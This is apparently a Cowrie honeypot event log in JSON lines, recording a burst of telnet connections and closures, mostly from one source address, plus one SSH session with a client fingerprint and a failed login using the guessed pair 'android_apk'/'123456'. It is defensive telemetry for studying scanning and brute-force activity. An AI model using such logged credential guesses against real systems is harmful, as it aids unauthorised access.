{"eventid":"cowrie.session.closed","duration":34.529322147369385,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:55.494562Z","src_ip":"209.159.146.115","session":"400734192273","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44604,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d25bf5a534e","protocol":"telnet","message":"New connection: 209.159.146.115:44604 (159.203.135.109:23) [session: 1d25bf5a534e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:57.086410Z"}
{"eventid":"cowrie.session.closed","duration":33.450674057006836,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:57.766016Z","src_ip":"209.159.146.115","session":"eeef2f432a21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51938,"dst_ip":"159.203.135.109","dst_port":23,"session":"0417a3a457f5","protocol":"telnet","message":"New connection: 209.159.146.115:51938 (159.203.135.109:23) [session: 0417a3a457f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:58.567938Z"}
{"eventid":"cowrie.session.closed","duration":31.77239465713501,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:58.860675Z","src_ip":"209.159.146.115","session":"a4d519303e51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.706040382385254,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:59.184480Z","src_ip":"209.159.146.115","session":"31aa1efe44a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57977366447449,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:59.613385Z","src_ip":"209.159.146.115","session":"c59b43d40f78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.103901386260986,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:44:59.675595Z","src_ip":"209.159.146.115","session":"a1c32e3ec9ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35954,"dst_ip":"159.203.135.109","dst_port":23,"session":"336777eb13b7","protocol":"telnet","message":"New connection: 209.159.146.115:35954 (159.203.135.109:23) [session: 336777eb13b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:00.268919Z"}
{"eventid":"cowrie.session.closed","duration":30.83729839324951,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:01.446086Z","src_ip":"209.159.146.115","session":"e8631301eaaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00243520736694,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:02.090858Z","src_ip":"45.6.79.189","session":"58074257dbe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.6.79.189","src_port":38579,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fbe29c7f677","protocol":"telnet","message":"New connection: 45.6.79.189:38579 (159.203.135.109:23) [session: 5fbe29c7f677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:02.375857Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52224,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae927623ac03","protocol":"telnet","message":"New connection: 209.159.146.115:52224 (159.203.135.109:23) [session: ae927623ac03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:03.053942Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52250,"dst_ip":"159.203.135.109","dst_port":23,"session":"710acd0352b0","protocol":"telnet","message":"New connection: 209.159.146.115:52250 (159.203.135.109:23) [session: 710acd0352b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:03.095100Z"}
{"eventid":"cowrie.session.closed","duration":35.31747841835022,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:03.990551Z","src_ip":"209.159.146.115","session":"b8b169953fd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57230,"dst_ip":"159.203.135.109","dst_port":23,"session":"7987da1181e2","protocol":"telnet","message":"New connection: 209.159.146.115:57230 (159.203.135.109:23) [session: 7987da1181e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:04.087258Z"}
{"eventid":"cowrie.session.closed","duration":120.00101947784424,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:04.682257Z","src_ip":"45.6.79.189","session":"cb3fd762d769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22843313217163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:04.801040Z","src_ip":"209.159.146.115","session":"83ed662812a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.6.79.189","src_port":38549,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd5dc2192531","protocol":"telnet","message":"New connection: 45.6.79.189:38549 (159.203.135.109:23) [session: bd5dc2192531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:04.952583Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40432,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0107803422b","protocol":"telnet","message":"New connection: 209.159.146.115:40432 (159.203.135.109:23) [session: b0107803422b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:05.885720Z"}
{"eventid":"cowrie.session.closed","duration":32.16608715057373,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:07.943178Z","src_ip":"209.159.146.115","session":"df8c7b98050a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52902,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d4b24b344c4","protocol":"telnet","message":"New connection: 209.159.146.115:52902 (159.203.135.109:23) [session: 4d4b24b344c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:09.018695Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52936,"dst_ip":"159.203.135.109","dst_port":23,"session":"c04eb82c2b97","protocol":"telnet","message":"New connection: 209.159.146.115:52936 (159.203.135.109:23) [session: c04eb82c2b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:09.054540Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54498,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4e78d300c57","protocol":"telnet","message":"New connection: 209.159.146.115:54498 (159.203.135.109:23) [session: d4e78d300c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:09.452520Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58542,"dst_ip":"159.203.135.109","dst_port":23,"session":"f150ddb6e46e","protocol":"telnet","message":"New connection: 209.159.146.115:58542 (159.203.135.109:23) [session: f150ddb6e46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:10.251357Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40166,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed117896e1f2","protocol":"telnet","message":"New connection: 209.159.146.115:40166 (159.203.135.109:23) [session: ed117896e1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:12.541315Z"}
{"eventid":"cowrie.session.closed","duration":35.687408208847046,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:13.775244Z","src_ip":"209.159.146.115","session":"734c3da6455d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53528,"dst_ip":"159.203.135.109","dst_port":23,"session":"e86ede1b996a","protocol":"telnet","message":"New connection: 209.159.146.115:53528 (159.203.135.109:23) [session: e86ede1b996a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:15.444792Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56802,"dst_ip":"159.203.135.109","dst_port":23,"session":"01c20ed736cd","protocol":"telnet","message":"New connection: 209.159.146.115:56802 (159.203.135.109:23) [session: 01c20ed736cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:16.030113Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57290,"dst_ip":"159.203.135.109","dst_port":23,"session":"c61fa6c8b851","protocol":"telnet","message":"New connection: 209.159.146.115:57290 (159.203.135.109:23) [session: c61fa6c8b851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:16.133446Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34512,"dst_ip":"159.203.135.109","dst_port":23,"session":"6393ec6c234d","protocol":"telnet","message":"New connection: 209.159.146.115:34512 (159.203.135.109:23) [session: 6393ec6c234d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:17.058799Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34350,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea5933dde00d","protocol":"telnet","message":"New connection: 209.159.146.115:34350 (159.203.135.109:23) [session: ea5933dde00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:17.987877Z"}
{"eventid":"cowrie.session.closed","duration":32.44677948951721,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:18.811840Z","src_ip":"209.159.146.115","session":"e454342ed9f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59054,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1f459a9b895","protocol":"ssh","message":"New connection: 159.203.92.129:59054 (159.203.135.109:22) [session: c1f459a9b895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:19.174158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:19.178879Z","src_ip":"159.203.92.129","session":"c1f459a9b895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:19.187646Z","src_ip":"159.203.92.129","session":"c1f459a9b895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"android_apk","password":"123456","message":"login attempt [android_apk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:19.199764Z","src_ip":"159.203.92.129","session":"c1f459a9b895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.355040311813354,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:19.365243Z","src_ip":"209.159.146.115","session":"2c8e4871e189","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.37878489494324,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:19.589012Z","src_ip":"209.159.146.115","session":"e789fbac7adc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45048,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ede6e6149d7","protocol":"telnet","message":"New connection: 209.159.146.115:45048 (159.203.135.109:23) [session: 0ede6e6149d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:20.161047Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:20.206036Z","src_ip":"159.203.92.129","session":"c1f459a9b895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.2654767036438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:21.440820Z","src_ip":"209.159.146.115","session":"fe8d567d32ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.014254331588745,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:21.730089Z","src_ip":"209.159.146.115","session":"3bc89f0d0dbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.79028463363647,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:21.879972Z","src_ip":"209.159.146.115","session":"2fcd70260d1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9412100315094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:22.257901Z","src_ip":"209.159.146.115","session":"04e2eae20fe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53116,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f8ba3240423","protocol":"telnet","message":"New connection: 209.159.146.115:53116 (159.203.135.109:23) [session: 3f8ba3240423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:22.487211Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58114,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee1a342c5781","protocol":"telnet","message":"New connection: 209.159.146.115:58114 (159.203.135.109:23) [session: ee1a342c5781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:23.805979Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60734,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0fed6292c2c","protocol":"telnet","message":"New connection: 209.159.146.115:60734 (159.203.135.109:23) [session: b0fed6292c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:24.599779Z"}
{"eventid":"cowrie.session.closed","duration":33.06495714187622,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:24.720519Z","src_ip":"209.159.146.115","session":"0a56689973a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33012,"dst_ip":"159.203.135.109","dst_port":23,"session":"2af6c9dd42e4","protocol":"telnet","message":"New connection: 209.159.146.115:33012 (159.203.135.109:23) [session: 2af6c9dd42e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:24.758918Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34718,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fb3bccfec15","protocol":"telnet","message":"New connection: 209.159.146.115:34718 (159.203.135.109:23) [session: 1fb3bccfec15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:25.299544Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35132,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a1cece45ae","protocol":"telnet","message":"New connection: 209.159.146.115:35132 (159.203.135.109:23) [session: b7a1cece45ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:25.438729Z"}
{"eventid":"cowrie.session.closed","duration":34.98170852661133,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:25.524094Z","src_ip":"209.159.146.115","session":"c8da22f43327","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39032,"dst_ip":"159.203.135.109","dst_port":23,"session":"83ea41011ab5","protocol":"telnet","message":"New connection: 209.159.146.115:39032 (159.203.135.109:23) [session: 83ea41011ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:26.168177Z"}
{"eventid":"cowrie.session.closed","duration":43.63602375984192,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:26.357364Z","src_ip":"209.159.146.115","session":"9eeff9215154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.58149981498718,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:27.354741Z","src_ip":"209.159.146.115","session":"b427ba564fb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.40085482597351,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:27.971049Z","src_ip":"209.159.146.115","session":"d51a59d2ce54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60944,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0c70d75c527","protocol":"telnet","message":"New connection: 209.159.146.115:60944 (159.203.135.109:23) [session: c0c70d75c527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:29.719998Z"}
{"eventid":"cowrie.session.closed","duration":32.69829511642456,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:29.784604Z","src_ip":"209.159.146.115","session":"1d25bf5a534e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48512,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae36d1ad55e3","protocol":"telnet","message":"New connection: 209.159.146.115:48512 (159.203.135.109:23) [session: ae36d1ad55e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:32.088751Z"}
{"eventid":"cowrie.session.closed","duration":39.47277545928955,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:32.392035Z","src_ip":"209.159.146.115","session":"c58c659acba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.924317359924316,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:33.404232Z","src_ip":"209.159.146.115","session":"696e0812a209","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.332985162734985,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:35.427943Z","src_ip":"209.159.146.115","session":"710acd0352b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33994,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd3b6817b8bc","protocol":"telnet","message":"New connection: 209.159.146.115:33994 (159.203.135.109:23) [session: fd3b6817b8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:35.500128Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34672,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eab63c0fb57","protocol":"telnet","message":"New connection: 209.159.146.115:34672 (159.203.135.109:23) [session: 1eab63c0fb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:35.707465Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35862,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c0a88174b6f","protocol":"telnet","message":"New connection: 209.159.146.115:35862 (159.203.135.109:23) [session: 4c0a88174b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:35.994581Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36408,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2f435508753","protocol":"telnet","message":"New connection: 209.159.146.115:36408 (159.203.135.109:23) [session: c2f435508753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:36.222057Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37274,"dst_ip":"159.203.135.109","dst_port":23,"session":"52704ff4b98c","protocol":"telnet","message":"New connection: 209.159.146.115:37274 (159.203.135.109:23) [session: 52704ff4b98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:36.431279Z"}
{"eventid":"cowrie.session.closed","duration":32.440139293670654,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:36.527258Z","src_ip":"209.159.146.115","session":"7987da1181e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51766538619995,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:36.571460Z","src_ip":"209.159.146.115","session":"ae927623ac03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42036,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0e7cbdf446a","protocol":"telnet","message":"New connection: 209.159.146.115:42036 (159.203.135.109:23) [session: b0e7cbdf446a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:37.009030Z"}
{"eventid":"cowrie.session.closed","duration":39.13283348083496,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:37.700630Z","src_ip":"209.159.146.115","session":"0417a3a457f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44044,"dst_ip":"159.203.135.109","dst_port":23,"session":"99c5790980ee","protocol":"telnet","message":"New connection: 209.159.146.115:44044 (159.203.135.109:23) [session: 99c5790980ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:37.853153Z"}
{"eventid":"cowrie.session.closed","duration":37.770113468170166,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:38.038871Z","src_ip":"209.159.146.115","session":"336777eb13b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48074,"dst_ip":"159.203.135.109","dst_port":23,"session":"74dc0c0cb596","protocol":"telnet","message":"New connection: 209.159.146.115:48074 (159.203.135.109:23) [session: 74dc0c0cb596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:45:38.512742Z"}
